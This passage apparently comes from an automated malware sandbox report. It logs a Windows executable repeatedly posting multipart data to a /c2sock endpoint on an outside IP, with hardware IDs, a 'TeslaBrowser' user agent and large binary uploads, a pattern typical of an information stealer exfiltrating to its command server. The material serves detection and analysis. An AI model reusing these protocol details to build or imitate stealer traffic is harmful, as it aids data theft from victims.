Nov 13, 2024 10:55:37.391911983 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.391989946 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.437589884 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.437670946 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.486743927 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.486866951 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.535474062 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.535540104 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.585720062 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.585773945 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.645737886 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.645807028 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.712234974 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.712368011 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.769706964 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.769819021 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.836467981 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.836596012 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.888592005 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.888761044 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.938942909 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.939045906 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:37.985641956 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:37.985738039 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.034513950 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.034662962 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.081949949 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.082094908 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.129697084 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.129793882 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.178145885 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.178222895 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.225814104 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.225872040 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.273592949 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.273663998 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.324330091 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.324449062 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.373800039 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.373945951 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.427356005 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.427448034 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.473905087 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.474026918 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.523894072 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.523988962 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.570918083 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.571166992 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.621869087 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.621942043 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.671084881 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.671147108 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.717699051 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.717758894 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.765822887 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:38.765928984 CET	49715	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:38.786639929 CET	80	49715	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:39.820585012 CET	49716	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:39.827023029 CET	80	49716	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:39.827326059 CET	49716	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:39.827390909 CET	49716	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:39.827801943 CET	49716	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:39.832604885 CET	80	49716	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:39.832813978 CET	80	49716	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:48.326785088 CET	80	49716	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:48.326883078 CET	49716	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:48.327023029 CET	49716	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:48.335414886 CET	80	49716	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:48.608906984 CET	49717	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:48.615736961 CET	80	49717	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:48.616281986 CET	49717	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:48.616439104 CET	49717	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:48.616862059 CET	49717	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:48.622174978 CET	80	49717	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:48.622984886 CET	80	49717	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:57.094016075 CET	80	49717	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:57.094150066 CET	49717	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:57.094232082 CET	49717	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:57.099153042 CET	80	49717	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:57.500457048 CET	49718	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:57.724580050 CET	80	49718	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:57.724706888 CET	49718	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:57.724904060 CET	49718	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:57.725347042 CET	49718	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:55:57.729938984 CET	80	49718	94.158.244.69	192.168.2.8
Nov 13, 2024 10:55:57.730076075 CET	80	49718	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:06.203653097 CET	80	49718	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:06.203780890 CET	49718	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:06.203780890 CET	49718	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:06.208606958 CET	80	49718	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:06.574736118 CET	49719	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:06.579714060 CET	80	49719	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:06.579811096 CET	49719	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:06.579957008 CET	49719	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:06.580327034 CET	49719	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:06.584723949 CET	80	49719	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:06.585133076 CET	80	49719	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:15.057467937 CET	80	49719	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:15.057549000 CET	49719	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:15.057626009 CET	49719	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:15.062511921 CET	80	49719	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:15.353727102 CET	49720	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:15.359919071 CET	80	49720	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:15.360023022 CET	49720	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:15.360138893 CET	49720	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:15.360508919 CET	49720	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:15.366242886 CET	80	49720	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:15.366858006 CET	80	49720	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:23.838267088 CET	80	49720	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:23.838413954 CET	49720	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:23.838460922 CET	49720	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:23.843358994 CET	80	49720	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:24.122925043 CET	49721	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:24.127931118 CET	80	49721	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:24.127994061 CET	49721	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:24.128138065 CET	49721	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:24.128518105 CET	49721	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:24.133198023 CET	80	49721	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:24.133855104 CET	80	49721	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:32.618824005 CET	80	49721	94.158.244.69	192.168.2.8
Nov 13, 2024 10:56:32.618907928 CET	49721	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:32.618973017 CET	49721	80	192.168.2.8	94.158.244.69
Nov 13, 2024 10:56:32.624000072 CET	80	49721	94.158.244.69	192.168.2.8

HTTP Request Dependency Graph

94.158.244.69

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49707	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:54:25.872971058 CET	190	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 16465 Host: 94.158.244.69
Nov 13, 2024 10:54:25.873425007 CET	11124	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"2--SqDe87817huf871793q74Content-Disposition: form-data;
Nov 13, 2024 10:54:25.877830982 CET	1236	OUT	Data Raw: 49 0f 2e 26 89 86 bb a8 52 0c 3f 7d 83 4d 58 df 15 7e 4d 5a 0f 4e 8b d2 cc 4c 66 bf 18 31 16 15 6f b9 0e 66 a5 f8 d0 b3 b1 86 64 54 46 1e 63 26 01 a9 45 9b b6 3b af d9 cc 1a e2 8b 33 9f df 0f ce 7a fe 44 ee 6f 43 22 06 61 37 cd 48 12 85 42 6b eb Data Ascii: I.&R?}MX~MZNLf1ofdTFc&E;3zDoC"a7HBk4;`{B~6K`{b,%JjLmoR?;AswFgbs!NN7<PR`ASff5q(cfE+)jTq8"mP>DiEQ
Nov 13, 2024 10:54:25.878357887 CET	4105	OUT	Data Raw: 00 00 00 e9 03 fb 7f 00 00 00 20 7d 60 ff 0f 00 00 00 a4 0f ec ff 01 00 00 80 f4 81 f5 1f 00 00 00 48 1f 58 ff 01 00 00 80 f4 81 df ff 01 00 00 80 f4 91 1f 78 53 c8 65 35 41 fc 87 dc ff e6 e6 b3 5a ff 5f 0e d4 04 00 c0 d7 c5 fe dc 07 a2 f4 e4 49 Data Ascii: }`HXxSe5AZ_I&k6=iU=vOj2xcfqTVH#P-RkRB])>t'+./$=^hNgC6PAvxUxqE;I5/mP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49708	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:54:34.823267937 CET	190	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 19013 Host: 94.158.244.69
Nov 13, 2024 10:54:34.824714899 CET	11124	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"2--SqDe87817huf871793q74Content-Disposition: form-data;
Nov 13, 2024 10:54:34.828789949 CET	1236	OUT	Data Raw: ec 59 b4 31 f7 2c dc f7 8b 04 fd d8 c2 4e e2 ef 92 a2 c8 38 a1 dd 95 44 b4 40 ce 4e c9 51 26 24 a0 46 e3 cc d7 7c 7b b8 71 8e 6b 5d b8 50 dd 37 47 e3 0d 89 76 69 aa 31 33 34 d7 72 76 9d 43 01 ab f9 51 66 36 9a 76 96 dc e9 46 05 fd 66 6a d9 e3 d3 Data Ascii: Y1,N8D@NQ&$F\|{qk]P7Gvi134rvCQf6vFfjE{}C?:ewS%~F0ti)14r-A3rZ(;"heda?:>;.B%+RU)D(RU>Q*>
Nov 13, 2024 10:54:34.829701900 CET	2472	OUT	Data Raw: 60 76 40 1b c6 f7 fc 23 dc 38 87 11 d5 76 30 29 ee 41 cc b9 73 a9 87 e7 91 57 d5 a3 fc 40 1f d5 d6 ed bb 4a a3 b5 bd 56 d6 44 cc d5 b5 9f d0 b6 8e dc 78 b6 ef 96 c7 bd f9 44 97 b9 d6 da da 81 17 e3 72 c9 f2 18 33 d7 94 e5 72 73 1b 35 c1 db 9f 58 Data Ascii: `v@#8v0)AsW@JVDxDr3rs5X>-~40aNDpnKoJoR,5XI:a?B?\,aKjK%R/, XX<``8]2Rh
Nov 13, 2024 10:54:34.829737902 CET	4181	OUT	Data Raw: 9a 02 a6 5d 58 50 55 cf c0 1e c2 18 eb ea b6 eb b8 7b c1 79 3f 48 48 84 9d c4 df 25 76 14 ee 90 28 3e ef 84 bd ca 7e e5 fa 34 82 bf 32 8a e1 05 fe da d5 f5 ab f7 37 bf 76 eb 11 8e 88 24 ae 22 a4 99 9a 62 2a 9a 29 f6 9f 69 76 cc 66 cd a4 d9 23 e2 Data Ascii: ]XPU{y?HH%v(>~427v$"b)ivf#JfxWP\XQ$u(JXoqDQVu6cMy8,U5vtwp#l`V/}()l"5}e=`"4a0rfE[e7hLXCXT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49709	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:54:44.482758999 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:54:44.484832048 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49710	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:54:53.728033066 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:54:53.728033066 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49712	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:55:02.510430098 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:55:02.510850906 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49713	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:55:12.140882969 CET	190	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 20174 Host: 94.158.244.69
Nov 13, 2024 10:55:12.141294956 CET	11124	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"3--SqDe87817huf871793q74Content-Disposition: form-data;
Nov 13, 2024 10:55:12.145782948 CET	1236	OUT	Data Raw: d8 aa b4 b2 76 0f 56 57 5a b3 5e cc 4f c5 dd 5d 3b f3 ee 07 40 d7 33 ac 55 cb d8 d8 63 ef cb 8c 3e 7f 60 ab ab ad bb 67 ed 0b ad 3b e6 b6 e5 d4 cf 0d 8e 9e 38 d4 bd 7e ac 24 5d 2a 45 d3 dc 5e 1e 7b 27 dd ba e9 46 ee 53 b2 73 33 af 4b ce ed 6d bd Data Ascii: vVWZ^O];@3Uc>`g;8~$]*E^{'FSs3Kmr-n3\|A/VKEoGo=}ur/?kS=>37U\|uj\_uqQ+y#S\|XH;+r=Z7:6}^fsnGWFGJz>Z6mfa
Nov 13, 2024 10:55:12.146226883 CET	4944	OUT	Data Raw: f1 34 5e 78 ee d8 83 13 f5 da b1 4b 97 2e e7 f7 dd fa d8 fd 7f fb 85 e4 4b a9 db 82 e7 df 75 df e3 fa 6b a5 c9 66 a3 b8 69 88 ce cd 4e e5 2f bd fc f4 13 53 47 9e 3c b5 ef d6 8f bf 79 ef c7 92 e7 d3 b7 05 13 ef ba ee c2 64 b5 d9 d8 54 ed 7d 4f 55 Data Ascii: 4^xK.KukfiN/SG<ydT}OUO,/>X<YwWM/$?9UsFutx33jT+tguMBdz9{n8ShVi6}bQTG__fjTz5T,^_~j
Nov 13, 2024 10:55:12.146281004 CET	2870	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49714	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:55:21.137038946 CET	189	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 1136 Host: 94.158.244.69
Nov 13, 2024 10:55:21.137424946 CET	1136	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49715	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:55:30.297111988 CET	191	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 610895 Host: 94.158.244.69
Nov 13, 2024 10:55:30.297679901 CET	11124	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;
Nov 13, 2024 10:55:30.301961899 CET	1236	OUT	Data Raw: a4 79 1f 2d f5 bf e4 19 c1 4d bb de 12 cd f8 5f a5 60 9d a0 cd 01 f3 d6 f9 35 ea 7f f9 93 e8 65 a9 e7 57 a3 fd bd 86 07 9a d6 17 9e 6b a9 dd 1b 65 f3 b3 c2 de 57 4d 79 6e bb a6 da 44 8f 71 70 df 91 96 7e e2 a0 0e 50 ce fb d5 fd bf c6 fc 8f 0f ff Data Ascii: y-M_`5eWkeWMynDqp~P^i*km<>k]5.>WW5gUtsH5w2resy:jbRzrQM_$o\Xi,TcyJ$}Ey2T+sV-rf-5Q-YW
Nov 13, 2024 10:55:30.302638054 CET	2472	OUT	Data Raw: 46 fc ef ee 1d 87 a4 26 cb ff b4 e1 05 91 c6 07 fb a3 ff d9 6c 30 74 c1 6d 86 a4 86 de 67 db 47 ff 93 49 b2 3f 73 5f ee fa bf 31 c3 c2 7a 3f 69 7f 61 84 fb 99 d1 06 18 98 1f bd 6f ca 96 c3 f4 23 a2 6d 10 fb 71 1c c6 27 c2 fd 66 78 7c 22 ea 09 11 Data Ascii: F&l0tmgGI?s_1z?iao#mq'fx\|"L3t@jd\|<iuf4B8,fxdjJNMPAY'G'5t8kuNv9s??u
Nov 13, 2024 10:55:30.302700043 CET	4944	OUT	Data Raw: ce fc 95 3d c1 e6 73 3d 0b 44 f4 f9 b2 7e 8f fe 07 df e3 7e 5a 1f 7d 0f 8f 53 36 1d 19 fa 9f 34 43 9a 1f 0d 90 fe 07 c7 93 7d c0 d2 04 6d fb 64 6d a0 e9 7f d8 a7 cf 0b 6a fa 58 d7 27 0d 0f c7 cc 7e 5f e9 77 66 ff 2f 3c cf 9c f3 cb f5 01 e5 1a 80 Data Ascii: =s=D~~Z}S64C}mdmjX'~_wf/<2d}?Y7d_Ou9s?9s?;OfZ,fO`?>73?5eqlf#-T#\|y>\Wn6<5\|
Nov 13, 2024 10:55:30.302721977 CET	2472	OUT	Data Raw: ff 46 47 6e f9 b3 c8 11 f5 f3 ee 3e c9 fb ef 96 b3 bd 7f fb 5c 66 37 40 18 d8 93 c2 c6 18 1a d9 ac 4b 7d 53 c3 23 0c ed ae 7e 3f 78 ce dc 65 5c cb f0 5c c6 76 4e 52 6e f0 72 67 f0 3a 78 ed a4 d7 7f d2 fb 6c d3 4f ac 86 fb 78 ee e3 67 f9 d7 e3 5e Data Ascii: FGn>\f7@K}S#~?xe\\vNRnrg:xlOxg^PQgYQ'8eK(7oo pybYGl;,rsWtPQo;~EY<qnnt>@85
Nov 13, 2024 10:55:30.302759886 CET	2472	OUT	Data Raw: a6 77 fd 8f 2b 61 ef 30 af 97 73 82 b9 3e 20 8e c3 14 a5 69 5d e9 19 df e9 ff e7 ff bb be b2 66 bf 5a f6 d3 15 b5 e1 b7 fc ba b4 83 b7 ae a8 bd bc e7 ca f3 25 a8 1d 8e 7f 7c 09 cf 24 96 f4 ff fd 8e 7f c1 2f fb e9 71 fa 7c dc e3 65 6f 0f 8c 0b e7 Data Ascii: w+a0s> i]fZ%\|$/q\|eoJ\|k~u?ptE]qy:s_85gq_x_mq'a1m;#33kb{F2,m9)~m\|/m}?O_9
Nov 13, 2024 10:55:30.302772045 CET	2472	OUT	Data Raw: 66 3e db af eb ad d0 2f 89 fa 9d 71 70 3f fc db 7d c9 71 da 26 6e f5 9e 63 6d 39 5c 83 ba 41 f8 08 6a 88 50 33 c4 75 d6 60 53 e8 3d 84 93 d1 0a e5 6c 5c ae 31 06 f3 c3 7d a6 7b 86 08 6f c1 f5 a8 03 bb 29 b8 16 f7 c2 71 ce af c5 b6 e9 61 30 44 ec Data Ascii: f>/qp?}q&ncm9\AjP3u`S=l\1}{o)qa0D:pc>I/1\7~v/G'PZzg[UkVcwnwkik0h AcO+f~`;[
Nov 13, 2024 10:55:30.302793980 CET	2472	OUT	Data Raw: f1 5c f0 69 6f ff 19 7b 8e 0b ad 50 7e 16 fc 5c 71 d3 0c 75 a9 f7 bd 23 77 fe d6 7f 2f 67 fc d9 37 c7 27 f1 dd 24 b8 5f fb 4c 30 dd 07 e1 76 ef 5e e5 a7 65 eb 02 06 e1 eb 34 9c 26 2d b0 69 33 6c c2 02 e1 73 8d ce 0d a1 ef 25 99 e0 9b 97 f8 69 68 Data Ascii: \io{P~\qu#w/g7'$_L0v^e4&-i3ls%ih@q},j\V7=+,\|3<k$o-n&Si2LI;nWyZ_D\Zf_0\|/i\|y0sG9 9Oj<Jj,3<3f
